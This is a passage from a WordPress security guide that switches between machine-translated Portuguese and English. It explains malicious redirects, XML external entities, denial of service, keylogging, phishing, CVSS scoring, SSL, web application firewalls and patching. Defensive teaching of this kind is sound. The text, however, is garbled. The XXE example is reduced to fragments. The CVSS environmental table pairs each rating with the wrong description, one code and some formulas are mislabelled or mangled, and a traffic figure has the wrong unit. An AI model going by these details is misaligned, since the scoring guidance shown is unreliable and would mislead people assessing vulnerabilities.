18. Vulnerabilidade de redirecionamento malicioso

UMA Redirecionamento malicioso A vulnerabilidade permite que um invasor injete código para redirecionar os visitantes do site para outro site.

Exemplo de redirecionamento malicioso

Digamos que você esteja procurando um suéter azul usando a ferramenta de pesquisa de uma boutique online.

Infelizmente, o servidor da boutique não consegue codificar as entradas do usuário de maneira adequada, e um invasor foi capaz de injetar um script de redirecionamento malicioso em sua consulta de pesquisa.

Então, quando você digita suéter azul no campo de pesquisa da boutique e pressiona Enter, você acaba na página do invasor em vez da página da boutique com suéteres que correspondem à descrição de sua pesquisa.

Como prevenir o redirecionamento malicioso

Você pode se proteger contra redirecionamentos maliciosos, higienizando as entradas do usuário, validando URLs e obter a confirmação do visitante para todos os redirecionamentos externos.

19. Vulnerabilidade de entidade externa XML

A XXE ou a vulnerabilidade de Entidade Externa de XML permite que um invasor engane um analisador XML para passar informações confidenciais a uma entidade externa sob seu controle.

Exemplo de entidade externa XML

Um invasor pode explorar uma vulnerabilidade XXE para obter acesso a arquivos confidenciais como etc / passwd, que armazena informações de contas de usuários.



  )>
&xxe;
Como evitar entidade externa XML

A melhor maneira de prevenir XXE é usar formatos de dados menos complexos, como JSON, e evitar a serialização de dados confidenciais.

20. Ataque de negação de serviço

UMA DoS ou um ataque de negação de serviço é uma tentativa deliberada de tornar seu site ou aplicativo indisponível para os usuários, inundando-o com tráfego de rede.

Em um DDoS Ataque de negação de serviço distribuído, um invasor usa várias fontes para inundar uma rede com tráfego. Um invasor sequestra grupos de computadores infectados por malware, roteadores e dispositivos IoT, para aumentar o fluxo de tráfego.

Exemplo de ataque de negação de serviço

O maior ataque DDoS (negação de serviço distribuído) foi lançado contra a AWS em fevereiro deste ano. A Amazon relatou que o AWS Shield, seu serviço gerenciado de proteção contra ameaças, observou e mitigou esse enorme ataque DDoS. O ataque durou 3 dias e atingiu o pico de 2,3 Terabytes por segundo.

Como prevenir ataques de negação de serviço

Existem 2 maneiras principais de mitigar um ataque DoS.

  1. Compre mais hospedagem do que você precisa. Ter recursos extras à sua disposição pode ajudá-lo a enfrentar o aumento da demanda causado por um ataque DoS.
  2. Use um firewall no nível do servidor como Cloudflare. Um firewall pode detectar um pico incomum no tráfego e evitar que seu site fique sobrecarregado.

21. Registro de teclas

Registro de teclas, também conhecido como keylogging ou captura de teclado, ocorre quando um hacker monitora e grava secretamente as teclas digitadas pelos visitantes do site.

Exemplo de registro de pressionamento de tecla

Em 2017, um hacker instalou com sucesso o JavaScript malicioso no servidor da fabricante de smartphones OnePlus.

Usando o código malicioso, os invasores monitoraram e registraram as teclas digitadas pelos clientes OnePlus conforme eles inseriam os dados do cartão de crédito. Os hackers registraram e coletaram as teclas digitadas de 40.000 clientes antes que o OnePlus detectasse e corrigisse o hack.

Como evitar o registro de pressionamento de tecla

Atualize tudo! Normalmente, um invasor precisará explorar outra vulnerabilidade existente para injetar um keylogger em um computador ou servidor. Manter tudo atualizado com os patches de segurança mais recentes impedirá que os hackers instalem um keylogger no seu site ou computador.

Bônus: Phishing

Vulnerabilidades de software são a única coisa que hackers e cibercriminosos tentam explorar. Hackers também visam e exploram humanos. Um método comum de exploração é o Phishing.

O que é phishing?

Phishing é um método de ataque cibernético que usa e-mail, mídia social, mensagens de texto e chamadas telefônicas para induzir a vítima a fornecer informações pessoais. O invasor usará as informações para acessar contas pessoais ou cometer fraude de identidade.

Como detectar um e-mail de phishing

Como aprendemos no início desta postagem, algumas vulnerabilidades requerem algum tipo de interação do usuário para serem exploradas. Uma maneira de um hacker enganar as pessoas para que participem de seus empreendimentos nefastos é enviando e-mails de phishing.

Aprender como identificar um e-mail de phishing pode evitar que você se meta inadvertidamente nos planos dos cibercriminosos.

4 dicas para identificar um e-mail de phishing:

  1. Olhe para o endereço de e-mail de - Se você receber um e-mail de uma empresa, a parte do endereço de e-mail do remetente após o “@” deve corresponder ao nome da empresa.

    Se um e-mail representar uma empresa ou entidade governamental, mas estiver usando um endereço de e-mail público como “@gmail”, é sinal de um e-mail de phishing.

    Fique atento a erros ortográficos sutis no nome de domínio. Por exemplo, vejamos este endereço de e-mail [email protected] Podemos ver que a Netflix tem um “x” extra no final. O erro de ortografia é um sinal claro de que o e-mail foi enviado por um golpista e deve ser excluído imediatamente.

  2. Procure por erros gramaticais - Um e-mail cheio de erros gramaticais é sinal de um e-mail malicioso. Todas as palavras podem ser escritas corretamente, mas faltam frases nas frases, o que tornaria a frase coerente. Por exemplo, “Sua conta foi hackeada. Atualize a senha para a segurança da conta ”.

    Todo mundo comete erros, e nem todo e-mail com um ou dois erros de digitação é uma tentativa de enganá-lo. No entanto, vários erros gramaticais exigem uma análise mais detalhada antes de responder.

  3. Anexos ou links suspeitos - Vale a pena fazer uma pausa antes de interagir com quaisquer anexos ou links incluídos em um e-mail.

    Se você não reconhecer o remetente de um e-mail, não baixe nenhum anexo incluído no e-mail, pois ele pode conter malware e infectar seu computador. Se o e-mail alegar ser de uma empresa, você pode pesquisar suas informações de contato no Google para verificar se o e-mail foi enviado antes de abrir qualquer anexo.

    Se um e-mail contiver um link, você pode passar o mouse sobre o link para verificar se o URL está enviando para onde deveria estar.

  4. Cuidado com os pedidos urgentes - Um truque comum usado por golpistas é criar um senso de urgência. Um e-mail malicioso pode criar um cenário que requer ação imediata. Quanto mais tempo você tiver para pensar, maior será a chance de identificar que a solicitação vem de um golpista.

    Você pode receber um e-mail de seu “chefe” pedindo que você pague a um fornecedor o mais rápido possível ou de seu banco informando que sua conta foi hackeada e que uma ação imediata é necessária.

Como medir a gravidade de uma vulnerabilidade do WordPress

Existem vários tipos de vulnerabilidades do WordPress, todas com vários graus de risco. Felizmente para nós, o National Vulnerability Database - um projeto do Instituto Nacional de Ciência e Tecnologia - tem um sistema de pontuação de vulnerabilidade calculadora para determinar o risco de uma vulnerabilidade.

Esta seção do guia de vulnerabilidade do WordPress cobrirá as métricas e os níveis de gravidade do sistema de pontuação de vulnerabilidade. Embora esta seção seja um pouco mais técnica, alguns usuários podem considerá-la útil para aprofundar sua compreensão de como as vulnerabilidades do WordPress e sua gravidade são avaliadas.

Métricas comuns do sistema de pontuação de vulnerabilidade do WordPress

A equação do sistema de pontuação de vulnerabilidade usa três conjuntos diferentes de pontuações para determinar a pontuação geral de gravidade.

1. Métricas básicas

O grupo de métricas base representa as características de uma vulnerabilidade que são constantes nos ambientes do usuário.

As métricas básicas são divididas em dois grupos, Explorabilidade e Impacto.

1.1. Métricas de exploração

A pontuação de explorabilidade é baseada em quão difícil é para um invasor tirar vantagem da vulnerabilidade. A pontuação é calculada usando 5 variáveis ​​diferentes.

1.1.1. Vetor de ataque (AV)

A pontuação do vetor de ataque é baseada no método em que a vulnerabilidade é explorada. A pontuação será maior quanto mais remoto um invasor pode estar para explorar a vulnerabilidade.

A ideia é que o número de invasores em potencial será muito maior se a vulnerabilidade puder ser explorada por meio de uma rede, em comparação com uma vulnerabilidade que requer acesso físico a uma exploração de dispositivo.

Quanto mais invasores potenciais houver, maior será o risco de exploração e, portanto, a pontuação do Vetor de Ataque atribuída à vulnerabilidade será maior.

Acesso NecessárioDescrição
Rede (N)Uma vulnerabilidade explorável com rede acesso significa que o componente vulnerável é explorável remotamente.
Rede Adjacente (AV: A)Uma vulnerabilidade que pode ser explorada com a rede adjacente acesso significa que o componente vulnerável está vinculado à pilha da rede. No entanto, o ataque é limitado à mesma rede física ou lógica compartilhada.
Local (AV: L)Uma vulnerabilidade que pode ser explorada com o Local acesso significa que o componente vulnerável não está vinculado à pilha da rede. Em alguns casos, o invasor pode estar conectado localmente para explorar a vulnerabilidade ou pode contar com a interação do usuário para executar um arquivo malicioso.
Físico (AV: P)Uma vulnerabilidade explorável com física Acesso requer que o invasor toque fisicamente ou manipule o componente vulnerável, como conectar um dispositivo periférico a um sistema.
1.1.2. Complexidade de ataque (AC)

O valor da complexidade é baseado nas condições necessárias para explorar a vulnerabilidade. Algumas condições podem exigir a coleta de mais informações sobre o destino, a presença de certas definições de configuração do sistema ou exceções computacionais.

A pontuação da complexidade do ataque será maior quanto menor for a complexidade necessária para explorar a vulnerabilidade.

Exploit Condition ComplexityDescrições
Baixo (L)Não existem condições de acesso especializadas ou circunstâncias atenuantes. Um invasor pode esperar sucesso repetível contra o componente vulnerável.
Alto (H)Um ataque bem-sucedido depende de condições além do controle do atacante. Um ataque bem-sucedido não pode ser realizado à vontade, mas requer que o invasor invista em algum esforço mensurável na preparação ou execução contra o componente vulnerável antes que um ataque bem-sucedido possa ser esperado.
1.1.3. Privilégios exigidos (PR)

A pontuação dos privilégios necessários é calculada com base nos privilégios que um invasor deve obter antes de explorar uma vulnerabilidade. Iremos nos aprofundar um pouco mais na seção Autenticados vs. Não Autenticados.

A pontuação será mais alta se nenhum privilégio for necessário.

Nível de privilégio necessárioDescrição
Nenhum (N)O invasor não está autorizado antes do ataque e, portanto, não requer nenhum acesso às configurações ou arquivos para realizar um ataque.
Baixo (L)O invasor é autorizado com privilégios que fornecem recursos básicos do usuário que normalmente podem afetar apenas as configurações e arquivos pertencentes a um usuário. Como alternativa, um invasor com privilégios baixos pode ter a capacidade de causar um impacto apenas em recursos não confidenciais.
Alto (H)O invasor está autorizado com (ou seja, requer) privilégios que fornecem controle significativo (por exemplo, administrativo) sobre o componente vulnerável que pode afetar as configurações e arquivos de todo o componente.
1.1.4. Interação do usuário (UI)

A pontuação de interação do usuário é determinada com base no fato de uma vulnerabilidade exigir ou não a interação do usuário para ser explorada.

A pontuação será mais alta quando nenhuma interação do usuário for necessária para que um invasor explore a vulnerabilidade.

Requisito de interação do usuárioDescrição
Nenhum (N)O sistema vulnerável pode ser explorado sem interação de qualquer usuário.
Requerido (R)A exploração bem-sucedida desta vulnerabilidade requer que o usuário execute alguma ação antes que a vulnerabilidade possa ser explorada, como convencer um usuário a clicar em um link em um email.
1.1.5. Escopo

A pontuação do escopo é baseada em uma vulnerabilidade em um componente de software para impactar recursos além de seu escopo de segurança.

O escopo de segurança abrange outros componentes que fornecem funcionalidade apenas para aquele componente, mesmo se esses outros componentes tiverem sua própria autoridade de segurança.

A pontuação é mais alta quando ocorre uma mudança de escopo.

EscopoDescrição
Inalterado (U)Uma vulnerabilidade explorada pode afetar apenas os recursos gerenciados pela mesma autoridade. Nesse caso, o componente vulnerável e o componente afetado são os mesmos.
Alterado (U)Uma vulnerabilidade explorada pode afetar recursos além dos privilégios de autorização pretendidos pelo componente vulnerável. Nesse caso, o componente vulnerável e o componente afetado são diferentes.
1.2. Impact Metrics

As métricas de impacto capturam os efeitos diretos de uma vulnerabilidade explorada com sucesso.

1.2.1. Impacto Confidencial (C)

Essa pontuação de impacto confidencial mede o impacto sobre a confidencialidade das informações gerenciadas pelo software explorado.

A pontuação é mais alta quando a perda para o software afetado é maior.

Impacto de ConfidencialidadeDescrição
Alto (H)Há uma perda total de confidencialidade, resultando na divulgação de todos os recursos do software explorado ao invasor.
Baixo (L)Existe alguma perda de confidencialidade. O invasor obteve acesso a algumas informações restritas.
Nenhum (N)Não há perda de confidencialidade no software explorado.
1.2.2. Integridade (I)

Essa pontuação de integridade é baseada no impacto na integridade de uma vulnerabilidade explorada com êxito.

A pontuação é mais alta quando a consequência do software afetado é maior.

Impacto de integridadeDescrição
Alto (H)Ocorre uma perda total de integridade ou perda total de proteção.
Baixo (L)A modificação de dados não tem um impacto direto e sério no software afetado.
Nenhum (N)Não há perda de integridade no software afetado.
1.2.3. Disponibilidade (A)

A pontuação de disponibilidade é baseada no impacto da disponibilidade do software explorado.

A pontuação é mais alta quando a consequência do componente impactado é maior.

Impacto de disponibilidadeDescrição
Alto (H)Há uma perda total de disponibilidade, resultando no invasor negando totalmente o acesso aos recursos do software explorado.
Baixo (L)Há desempenho reduzido ou interrupções na disponibilidade de recursos.
Nenhum (N)Não há impacto na disponibilidade do software afetado.
Cálculo da pontuação CVSS da pontuação básica

A pontuação básica é uma função das equações de subpontuação de Impacto e Explorabilidade. Onde a pontuação básica é definida como,

If (Impact sub score <= 0)     0 else,

Scope Unchanged4  Roundup(Minimum((Impact+Exploitability),10))

Scope Changed Roundup(Minimum(1.08×(Impact+Exploitability),10))

and the Impact subscore (ISC) is defined as,

Scope Unchanged 6.42 × ISCBase

Scope Changed 7.52 × (ISCBase - 0.029) - 3.25 × (ISCBase - 0.02)15

Where,

ISCBase = 1 - ((1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail))

And the Exploitability sub score is,

8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
2. Métricas de pontuação temporal

As métricas temporais medem o estado atual das técnicas de exploração, a existência de quaisquer patches ou soluções alternativas ou a confiança que se tem na descrição de uma vulnerabilidade.

Espera-se que as métricas temporais mudem e mudem com o tempo.

2.1. Exploit Code Maturity (E)

A maturidade do código de exploração é baseada na probabilidade de a vulnerabilidade ser atacada.

Quanto mais fácil for a exploração de uma vulnerabilidade, maior será a pontuação de vulnerabilidade.

Valor de maturidade do código de exploraçãoDescrição
Não Definido (X)Atribuir este valor à métrica não influenciará a pontuação. É um sinal para uma equação de pontuação pular essa métrica.
Alto (H)Existe um código funcional autônomo ou nenhuma exploração é necessária e os detalhes estão amplamente disponíveis.
Funcional (F)O código de exploração funcional está disponível. O código funciona na maioria das situações em que existe a vulnerabilidade.
Prova de conceito (P)Está disponível um código de exploração de prova de conceito ou uma demonstração de ataque não é prática para a maioria dos sistemas.
Não provado (U)Nenhum código de exploração está disponível ou uma exploração é inteiramente teórica.
2.2. Nível de Remediação (RL)

O nível de remediação de uma vulnerabilidade é um fator importante para a priorização. Soluções alternativas ou hotfixes podem oferecer remediação provisória até que um patch ou atualização oficial seja lançado.

Quanto menos oficial e permanente for uma correção, maior será a pontuação de vulnerabilidade.

Valor do Nível de RemediaçãoDescrição
Não Definido (X)Um valor de correção de Não definido significa que não há informações suficientes para escolher um dos outros valores de correção. Um valor de Não Definido não tem impacto na Pontuação Temporal geral e tem o mesmo efeito na pontuação que Indisponível.
Indisponível (U)Nenhuma solução está disponível.
Solução Alternativa (W)Uma solução não oficial e de terceiros está disponível. Por exemplo, um usuário ou outro terceiro criou um patch ou solução alternativa para atenuar a vulnerabilidade.
Correção Temporária (T)Uma correção oficial, mas temporária disponível. Por exemplo, o desenvolvedor de software lançou um hotfix temporário ou forneceu uma solução alternativa para atenuar a vulnerabilidade.
Correção oficial (O)O desenvolvedor do software lançou um patch oficial para a vulnerabilidade.
2.3. Confiança do relatório (RC)

A métrica de confiança do relatório mede o nível de confiança de que existe uma vulnerabilidade e a credibilidade dos detalhes técnicos.

Quanto mais uma vulnerabilidade é validada pelo fornecedor ou outras fontes confiáveis, maior será a pontuação.

Valor de confiança do relatórioDescrição
Não Definido (X)Um valor de confiança do relatório de não definido significa que não há informações suficientes para atribuir um dos outros valores de confiança. Um valor de Não Definido não tem impacto na Pontuação de Confiança do Relatório geral e tem o mesmo efeito na pontuação que Indisponível.
Confirmado (C)Existe um relatório detalhado com um conceito geral de como explorar a vulnerabilidade ou o desenvolvedor do software confirmou a presença da vulnerabilidade.
Razoável (R)Existe um relatório com detalhes significativos, mas os pesquisadores não têm total confiança na causa raiz ou não são capazes de confirmar totalmente todas as interações que podem levar à exploração. No entanto, o bug é reproduzível e existe pelo menos uma prova de conceito.
Desconhecido (U)Existem relatórios de impactos que indicam que uma vulnerabilidade está presente, mas a causa da vulnerabilidade é desconhecida.
Cálculo de pontuação de CVSS temporal

A pontuação temporal é definida como,

Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
3. Métricas de pontuação ambiental

As métricas ambientais permitem que os analistas personalizem a pontuação do CVSS com base na importância dos ativos de TI afetados.

As métricas de Exploração Ambiental e Impacto são um equivalente modificado das métricas de Base e são atribuídos valores com base na localização dos componentes da infraestrutura organizacional. Consulte as seções de métricas básicas acima para visualizar os valores e as descrições das métricas de explorabilidade e impacto.

As métricas ambientais contêm um grupo extra, Modificadores de subpontuação de impacto.

3.1. Métricas de modificadores de subpontuação de impacto

As métricas do Impact Subscore Modifiers avaliam os requisitos de segurança específicos para Confidencialidade (CR), Integridade (IR) e Disponibilidade (AR), permitindo que a pontuação ambiental seja ajustada de acordo com o ambiente dos usuários.

Valor do subconjunto de impactoDescrição
Não definido (CR: X)A perda de (confidencialidade / integridade / disponibilidade) provavelmente terá apenas um efeito limitado na organização.
Baixo (CR: L)A perda de (confidencialidade / integridade / disponibilidade) provavelmente terá um efeito sério na organização.
Médio (CR: M)A perda de (confidencialidade / integridade / disponibilidade) pode ter um efeito catastrófico na organização.
Alto (CR: H)Este é um sinal para ignorar esta pontuação.
Cálculo da pontuação CVSS ambiental

A pontuação ambiental é definida como,

If (Modified Impact Sub score <= 0)     0 else,

If Modified Scope is Unchanged   Round up(Round up (Minimum ( (M.Impact + M.Exploitability) ,10)) × Exploit Code Maturity × Remediation Level × Report Confidence)
    
If Modified Scope is Changed    Round up(Round up (Minimum (1.08 × (M.Impact + M.Exploitability) ,10)) × Exploit Code Maturity × Remediation Level × Report Confidence)

And the modified Impact sub score is defined as,

If Modified Scope is Unchanged 6.42 × (ISCModified)
    
If Modified Scope is Changed 7.52 × (ISCModified - 0.029)-3.25× (ISCModified × 0.9731 - 0.02) 13

Where,

ISCModified = Minimum ((1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)), 0.915)

The Modified Exploitability sub score is,

8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction

4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Pontuação e gravidade geral do CVSS

O Sistema de Pontuação de Vulnerabilidade Comum Geral ou pontuação CVSS é uma representação das pontuações Base, Temporal e Ambiental.

A pontuação geral do CVSS pode ser usada para dar uma ideia de quão severa ou séria é uma vulnerabilidade.

Pontuação CVSSGravidade
0,0Nenhum
0,1 - 3,9Baixo
4,0 - 6,9Médio
7,0 - 8,9Alto
9,0 - 10,0Crítico
Exemplo de classificação de gravidade CVSS do mundo real

Em nosso Resumo de Vulnerabilidades de dezembro de 2020, relatamos uma vulnerabilidade no plugin Easy WP SMTP. A vulnerabilidade de dia zero (abordaremos as vulnerabilidades de dia zero na próxima seção) permitiu que um invasor assumisse o controle de uma conta de administrador e estava sendo explorado em liberdade.

Dando uma olhada no Entrada do banco de dados de vulnerabilidade nacional, podemos encontrar a classificação de gravidade da vulnerabilidade do WP SMTP.

Vamos analisar algumas coisas da captura de tela WP SMTP NVDB acima.

Pontuação Base: A pontuação básica é 7,5, o que nos indica que a classificação de gravidade da vulnerabilidade é alta.

Vetor: O vetor nos diz que a pontuação é baseada nas equações de vulnerabilidade do CVSS 3.1 e nas métricas usadas para calcular a pontuação.

Aqui está a parte das métricas do vetor.

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Agora vamos usar os valores e descrições da métrica base do início deste post para entender os oito valores métricos do vetor.

  1. AV: N - Isso significa que o vetor de ataque (AV) da vulnerabilidade é a rede (N). Em outras palavras, um invasor precisa apenas de acesso à rede para explorar a vulnerabilidade.
  2. AC: L - A Complexidade de Ataque (AC) da vulnerabilidade é Baixa (L). Em outras palavras, qualquer script kiddie pode explorar a vulnerabilidade.
  3. PR: N - Os Privilégios Requeridos (PR) necessários para explorar a vulnerabilidade são Nenhum (N). So, the vulnerability doesn’t require an authenticated user to exploit. (We will cover the difference between Authenticated & Unauthenticated vulnerabilities later in this post.)
  4. UI:N – The User Interaction (UI) required to exploit this vulnerability is None (N). So, the attacker has the means to exploit the vulnerability by himself.
  5. S:U – This means that the Scope (S) of the vulnerability is Unchanged (U). In the case of this vulnerability,  the vulnerable component and the impacted component are the same.
  6. C:H – The Confidentiality Impact (C) of the vulnerability is High (H). When this vulnerability is exploited, it results in a total loss of confidentiality.
  7. I:N – The Integrity Impact (I) of this vulnerability is None (N). When the vulnerability is exploited, there is no loss of integrity or trustworthiness of the vulnerable information.
  8. A:N – This means that the Availability Impact (A) is None (N). When the vulnerability is exploited, there will be no impact on the availability of your website.

The CVSS score can help us determine the severity and scope of any given vulnerability. In the next couple of sections, we will cover some important vulnerability terms that are often included in vulnerability disclosures.

Empacotando

In this section, we learned several important elements of WordPress security, including the motivations of hackers, the different types of hacks, the vulnerabilities online criminals exploit, how to mitigate the risk of vulnerabilities, and how to determine the risk a vulnerability poses on your website.

Understanding how attackers attempt to hack our websites and their goal after breaching our websites allows us to build up the proper defenses.

In the upcoming sections, you will learn how you can protect your website from nearly every kind of attack a hacker can throw at you.

Section 4: Securing Your Server

The first step in your WordPress security strategy is to secure your server. Your server stores all the files and code that make your website run.

In this section you will learn:

  1. The importance of choosing a good host.
  2. How to encrypt communications on your website.
  3. How a firewall can help secure your site.

Choose the Right Hosting

Not all web hosts are created equal and choosing one solely on price can end up costing you way more in the long run with WordPress security issues. Most shared hosting environments are secure, but some do not adequately separate user accounts.

Your host should be vigilant about applying the latest security patches and following other important hosting WordPress security best practices related to server and file security. Your host should be vigilant about applying the latest security patches and following other important hosting security best practices related to server and file security.

Encrypt Your WordPress Site with SSL

Secure Sockets Layer, also known as SSL, is a security technology that provides encryption between a client and a webserver. To understand this a bit more simply, a “client” is a web browser like Chrome or Safari, and a “webserver” is your website or online store.

An easy way to tell if the website you are visiting has an SSL certificate installed is to look in your browser’s address bar to see if the URL starts with HTTP or HTTPS. If the URL begins with an HTTPS, you are safely browsing on a site using SSL.

Why Is SSL So Important?

Not having an SSL certificate in 2021 is expensive. Por quê? If you don’t have SSL enabled on your website, it will be harder for potential customers to discover your existence, and those who do find your site may be scared away from giving you any money.

Anytime we make an online purchase, there is communication that happens between your browser and the online shop. For example, when we enter our credit card number into our browser, our browser will share the number with the online store. After the store receives the payment, it then tells your browser to let you know that your purchase was successful.

One thing to keep in mind about the information shared between our browser and the store’s server is that the information makes several stops in the transit. SSL provides encryption to the communication to ensure that our credit card isn’t seen until it reaches the final destination of the store’s server.

To better understand how encryption works, think about how our purchases get delivered. If you’ve ever tracked the delivery status of an online purchase, you would have seen that your order made several stops before arriving at your home. If the seller didn’t properly package your purchase, it would be easy for people to see what you purchased.

SSL is a crucial tool in preventing bad guys from intercepting sensitive information like passwords and credit card numbers that are shared between the client and webserver.

Why is an SSL Certificate a Must-Have for Every Website?

The WordPress security benefits you gain from having an SSL certificate on your website is enough to make it a must-have for any website. However, to encourage everyone to protect their site visitors, web browsers and search engines have created negative incentives to encourage everyone to use SSL. In this section, we will cover the costly consequences of not enabling SSL on your website.

1. Not Having SSL Enabled Will Hurt Your SEO Rankings

Search Engine Optimization or SEO is the process of optimizing your website to be discovered organically through search engine result pages. The benefit of SEO is that it is an excellent way for you to increase the organic and unpaid traffic to your site. If you sell a bread baking course, you want your website to be on the first page of results for someone searching Google, or Duck Duck Go for a bread baking course.

Without SSL enabled on your site, search engines will penalize you and downgrade your rankings. One of the metrics Google uses to rank websites in their search results is trustworthiness. It is Google’s best interest not to send its users to unsafe websites, so trustworthiness is heavily weighted in their ranking algorithm. With SSL adding so much security, it is a significant part of how Google scores a website’s trustworthiness.

2. Browsers Mark Non-SSL Sites as Not-Secure

Another way not having SSL enabled on will cost you is that your visitor’s browser will warn them that your site is not secure. As we mentioned earlier, after you install an SSL certificate on your website, your site’s URL will change form http://yourwebsite.com to https://yourwebsite/com. Chrome, for example, will mark HTTPS-encrypted webpages as secure with a locked padlock. Alternatively, Chrome will replace the locked padlock for all HTTP-non encrypted webpages with the text Not Secure.

I won’t shop on websites that are marked as insecure by my browser, and I am not the only one who won’t. According to a study by GlobalSign, 85% of online shoppers avoid unsecured websites. Keep in mind, that in 2021 it is vital to have all of your sites using HTTPS and not just your login and checkout pages. A potential customer may not make it to a secure checkout if the store pages are marked as Not Secure by their web browser.

3. You Can Lose Potential Customers

Protecting your customers is the essential reason to enable SSL on your website. If they are willing to entrust you with their business, the least you can do is reward that trust by protecting them with the power of encryption.

If a hacker can steal your customer’s credit card details due to the lack of encryption on your website, you will not only lose their trust, but you will lose any of their future business.

How Can I Tell If My Website Has SSL Enabled?

An easy way to tell if your website has an SSL certificate installed is to look in your browser’s address bar to see if the URL starts with HTTP or HTTPS. If the URL begins with an HTTPS, your website is secured with SSL.

You can also use an SSL checker like SSL Labs. An SSL checker will scan your site for an SSL certificate and will let you know when your SSL certificate is set to expire.

How Can I Install an SSL Certificate on My WordPress Website?

If your WordPress website is lacking SSL, the first thing you should do is to ask your hosting provider to see if they provide a free SSL certificate and configuration. In 2021, most hosting companies include SSL in their hosting packages. For example, iThemes Hosting provides and manages SSL for every website.

If your host doesn’t provide you with a free SSL certificate, don’t worry, there are still plenty of other options.

Cloudflare offers a free shared SSL certificate for WordPress websites. If you would prefer not to have a shared SSL certificate and you are comfortable with the command line, CertBot is an excellent option. Certbot not only creates a free SSL certificate using Let’s Encrypt for you, but it will also automatically manage the renewal of the certificate for you.

Having SSL enabled on your WordPress website is a must in 2021. SSL secures the communication between you and your customers, improves your SEO, and gives your site’s visitors the comfort that they are safe while browsing your website.

Use a Web Application Firewall

Using a Web Application Firewall is a great way to add another layer of protection to your WordPress website.

What is a Web Application Firewall?

A WAF or Web Application Firewall helps secure your website by monitoring internet traffic headed to your website before it hits your website.

By adding a WAF in front of WordPress, you are adding a security checkpoint between the internet and your website. Before the traffic can access your website, it has to pass through the WAF.

If the WAF detects any malicious traffic–like CSRF, XSS, SQL Injections, and more–it will filter it out before it ever hits your website. Not only that, but a WAF can help detect a DDoS attack and implement rate-limiting to prevent your website from crashing.

WordPress Security Web Application Firewall

The 3 Ways to Implement a WAF

There are 3 different ways you can implement a WAF. Let’s take a look at the pros and cons for each type.

  1. Network-based WAF – A network-based or physical WAF is hardware-based. The major pro to a network-based WAF is the low-latency that comes from being installed locally. However, the con comes from the price of the storage and maintenance of the physical equipment. The price and physical storage requirements make this a poor choice for most people.
  2. Host-based WAF – A host-based or local WAF is integrated into WordPress, typically using a plugin. The pro of a host-based WAF is that it is less expensive than a network-based WAF. The con to a local WAF is the requirements of your server resources. And with the traffic filtering happening on your website, it can result in slower page load times for your website’s visitors.
  3. Cloud-based WAF – A cloud-based WAF is typically the best option for most people. The pro of a cloud-based WAF is they are affordable, don’t require you to manage it. Plus, with traffic being filtered before it hits your website, it won’t suck up your server resources and slow down your website. Cloudflare e Sucuri are popular cloud-based firewall providers.

Empacotando

In this section, we learned why it is so important to choose the right host, how to secure the communication between our website and its visitors, and how a WAF can help block malicious traffic from hitting our website.

In the upcoming section, you will learn the best practices to keep your WordPress software secure.

Section 5: WordPress Software Security

Every time you install a new plugin or theme, you introduce a new code that has the potential to be exploited by hackers. In this section, you will learn the dos and don’ts of managing WordPress, plugins, and themes.

1. Only Install Software from Trusted Sources

Only install WordPress plugins and themes from trusted sources. You should only install software that you get from WordPress.org, well known commercial repositories, or directly from reputable developers. You will want to avoid the “nulled” version of commercial plugins because they can contain malicious code. It doesn’t matter how you lock down your WordPress site if you are the one installing malware.

If the WordPress plugin or theme it isn’t being distributed on the developer’s website, you will want to do your due diligence before downloading the plugin. Reach out to the developers to see if they are in any way affiliated with the website that is offering their product at a free or discounted price.

2. Remove Unused Plugin and Themes

Having unused or inactive plugins and themes are on your website is a major WordPress security mistake. Every piece of code on your website is a potential entry point for a hacker.

It is common practice for developers to use third-party code–like JS libraries–in their plugins and themes. Unfortunately, if the libraries aren’t properly maintained, they can create vulnerabilities that attackers can leverage to hack your website.

Note: Use the iThemes Sync Pro Site Audit to check your webpages for front-end JavaScript libraries with known security vulnerabilities.

Uninstall and completely remove any unnecessary plugins and themes on your WordPress site to limit the number of access points and executable code on your website.

3. Keep Your WordPress Software up to Date

Manter o software atualizado é uma parte essencial de qualquer estratégia de segurança do WordPress. As atualizações não são apenas para correções de bugs e novos recursos. As atualizações também podem incluir patches de segurança críticos. Without that patch, you are leaving your phone, computer, server, router, or website vulnerable to attack.

Ter um plugin ou tema vulnerável para o qual um patch está disponível, mas não aplicado é o principal culpado de sites WordPress hackeados. Isso significa que a maioria das vulnerabilidades são exploradas DEPOIS DE um patch para a vulnerabilidade foi lançado.

A violação Equifax altamente relatada poderia ter sido evitada se eles tivessem atualizado seu software. Para a violação da Equifax, simplesmente não havia desculpa.

Algo tão simples como atualizar seu software pode protegê-lo. Portanto, não ignore as atualizações do WordPress—updates are one of the most basic components of WordPress security and all web security.

Patch Tuesday

Patch Tuesday is the unofficial term to refer to the regular bug and security fixes that Microsoft releases the second Tuesday of every month. It is fantastic that Microsoft releases security fixes on such a reliable cadence. Patch Tuesday is also the day that the security vulnerabilities that Microsoft patches are publicly disclosed.

Check out the What to Update & How to Automate your Updates section of The Ultimate Guide to WordPress Security in 2020 ebook to learn how to apply Patch Tuesday updates automatically.

Exploit Wednesday

On the Wednesday following Patch Tuesday, it is common to see many attackers exploiting a previously known vulnerability on outdated and unpatched systems. So, the Wednesday following a Patch Tuesday has been unofficially coined as Exploit Wednesday.

Why Do Hackers Target Patched Vulnerabilities?

Hackers target patched vulnerabilities because they know people don’t update (including plugins and themes on your website). It is an industry-standard to publicly disclose vulnerabilities on the day they are patched. After a vulnerability is publicly disclosed, the vulnerability becomes a “known vulnerability” for outdated and unpatched versions of the software. Software with known vulnerabilities is an easy target for hackers.

Hackers like easy targets, and having software with known vulnerabilities is like handing a hacker the step by step instructions to break into your WordPress website, server, computer, or any other internet-connected device.

Responsible Disclosure

You might be wondering why a vulnerability would be disclosed if it gives hackers an exploit to attack. Well, it is very common for a security researcher to find and privately report the vulnerability to the software developer.

With responsible disclosure, the researcher’s initial report is made privately to the developers of the company that owns the software, but with an agreement that the full details will be published once a patch has been made available. For significant security vulnerabilities, there may be a slight delay in disclosing the vulnerability to give more people time to patch.

